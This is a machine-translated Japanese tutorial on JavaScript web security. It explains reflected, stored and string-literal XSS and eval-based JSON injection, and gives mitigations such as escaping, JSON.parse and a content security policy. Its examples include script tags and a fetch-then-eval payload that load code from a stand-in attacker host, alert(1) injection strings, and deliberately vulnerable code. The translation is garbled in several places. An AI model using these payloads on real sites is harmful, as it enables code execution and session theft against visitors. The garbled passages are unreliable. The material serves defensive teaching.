サーチ…
前書き
これは、XSSやevalインジェクションのような一般的なJavaScriptのセキュリティ問題の集まりです。このコレクションには、これらのセキュリティ問題を緩和する方法も含まれています。
反映されたクロスサイトスクリプティング(XSS)
ジョーがログオンしたり、子犬の動画を見たり、あなたのアカウントに保存したりできるウェブサイトを所有しているとしましょう。
ユーザーがそのウェブサイトを検索するたびに、 https://example.com/search?q=brown+puppies
リダイレクトされhttps://example.com/search?q=brown+puppies
。
ユーザーの検索結果が何も一致しない場合は、次の行に沿ってメッセージが表示されます。
あなたの検索( 茶色の子犬 )、何も一致しませんでした。再試行する。
バックエンドでは、次のようなメッセージが表示されます。
if(!searchResults){
webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}
しかし、アリスが<h1>headings</h1>
検索すると、彼女はこれを返します:
あなたの検索 (
見出し
)は何も一致しませんでした。再試行する。
生のHTML:
Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.
Aliceが<script>alert(1)</script>
検索すると、次のように表示されます。
あなたの検索()は何も一致しませんでした。再試行する。
そして:
アリスは<script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
を<script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
ために検索し、彼女のアドレスバーにリンクをコピーし、メールのBobより:
ボブ、
かわいい子犬を検索すると、何も起こりません!
ボリスが自分のアカウントにログオンしている間に、アリスよりも成功してボブにスクリプトを実行させます。
緩和:
- 結果が見つからない場合に検索語を返す前に、すべての山括弧をエスケープして検索します。
- 結果が見つからない場合は、検索語句を返さないでください。
- 他のドメインからのアクティブなコンテンツの読み込みを拒否するコンテンツセキュリティポリシーを追加する
永続的なクロスサイトスクリプティング(XSS)
Bobがユーザーがプロフィールをパーソナライズできるソーシャルウェブサイトを所有しているとします。
アリスはボブのウェブサイトに行き、アカウントを作成して彼女のプロフィール設定に行きます。彼女は彼女のプロフィールの説明をI'm actually too lazy to write something here.
設定しますI'm actually too lazy to write something here.
友人が自分のプロフィールを見ると、このコードはサーバー上で実行されます:
if(viewedPerson.profile.description){
page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
page += "<div>This person doesn't have a profile description.</div>";
}
このHTMLの結果:
<div>I'm actually too lazy to write something here.</div>
アリスよりも彼女のプロフィールの説明を<b>I like HTML</b>
ます。彼女が彼女のプロフィールを見て、見るのではなく
<b> HTMLが好きです</ b>
彼女は見る
私はHTMLが好きです
その後、アリスは彼女のプロフィールを
<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.
誰かがプロフィールを訪れるたびに、アカウントとしてログオンしている間、BobのWebサイトでAliceのスクリプトが実行されます。
緩和
- プロファイル記述などのエスケープアングルブラケット
- プロファイルの説明をプレーンテキストファイルに格納し、その後、
.innerText
て説明を追加するスクリプトを使用して取得します - 他のドメインからのアクティブなコンテンツの読み込みを拒否するコンテンツセキュリティポリシーを追加する
JavaScriptの文字列リテラルからの永続的なクロスサイトスクリプティング
Bobがパブリックメッセージを投稿できるサイトを所有しているとします。
メッセージは次のようなスクリプトで読み込まれます。
addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");
addMessage
関数は、投稿されたメッセージをDOMに追加します。ただし、XSSを回避するために、 投稿されたメッセージのHTMLはエスケープされます。
スクリプトは次のようにサーバー上で生成されます 。
for(var i = 0; i < messages.length; i++){
script += "addMessage(\"" + messages[i] + "\");";
}
だから、アリスMy mom said: "Life is good. Pie makes it better. "
。メッセージをプレビューするときよりも、メッセージを見る代わりに、コンソールにエラーが表示されます。
Uncaught SyntaxError: missing ) after argument list
どうして?生成されるスクリプトは次のようになります。
addMessage("My mom said: "Life is good. Pie makes it better. "");
これは構文エラーです。アリスポストより:
I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//
生成されたスクリプトは次のようになります。
addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");
これはI like pie
メッセージI like pie
追加しますが、 誰かがBobのサイトにhttps://alice.evil/js_xss.js
たびにhttps://alice.evil/js_xss.js
ダウンロードして実行しhttps://alice.evil/js_xss.js
。
緩和:
- 投稿されたメッセージをJSON.stringify()に渡します。
- スクリプトを動的に構築する代わりに、スクリプトによって後で取り出されるすべてのメッセージを含むプレーンテキストファイルを作成します
- 他のドメインからのアクティブなコンテンツの読み込みを拒否するコンテンツセキュリティポリシーを追加する
他の人のスクリプトがあなたのウェブサイトやその訪問者を傷つけることがある理由
悪質なスクリプトがサイトに悪影響を及ぼすと思わない場合は間違っています。悪意のあるスクリプトが何をすることができるのかを以下に示します。
- 追跡できないように DOMから自分自身を削除する
- ユーザーのセッションCookieを盗み、スクリプト作成者がログインして偽装することを可能にする
- 偽の "あなたのセッションは期限切れです。再度ログインしてください。" ユーザーのパスワードをスクリプト作成者に送信するメッセージ。
- そのWebサイトにアクセスするたびに悪意のあるスクリプトを実行する悪意のあるサービスワーカーを登録します。
- スクリプト作成者に実際にアクセスするサイトにアクセスするためにユーザーがお金を払うよう要求する偽の有料壁紙を置く。
XSSがあなたのウェブサイトとその訪問者に害を及ぼさないとは思わないでください。
Evaled JSON injection
誰かがBobのウェブサイトのプロフィールページにアクセスするたびに、次のURLが取得されるとしましょう:
https://example.com/api/users/1234/profiledata.json
このような応答で:
{
"name": "Bob",
"description": "Likes pie & security holes."
}
そのデータが解析および挿入されるよりも:
var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;
良いよね? 違う。
誰かの説明がLikes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.
の場合はどうなりますか? Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.
?
{
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}
そして、これはeval
されるでしょう:
({
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})
それが問題だと思わない場合は、それをコンソールに貼り付け、何が起こるかを見てください。
模倣
JSONを取得するには、evalの代わりにJSON.parseを使用します。一般的には、evalを使用せず、ユーザーが制御できるものでevalを使用しないでください。 Eval は新しい実行コンテキストを作成し、 パフォーマンスヒットを作成します 。
適切にエスケープ
"
と\
JSONでそれを置く前に、ユーザデータであなただけ脱出した場合。"
、これが起こるより:Hello! \"});alert(1);({
変換される:
"Hello! \\"});alert(1);({"
おっとっと。
\
と"
両方をエスケープするか、JSON.parseだけを使用してください。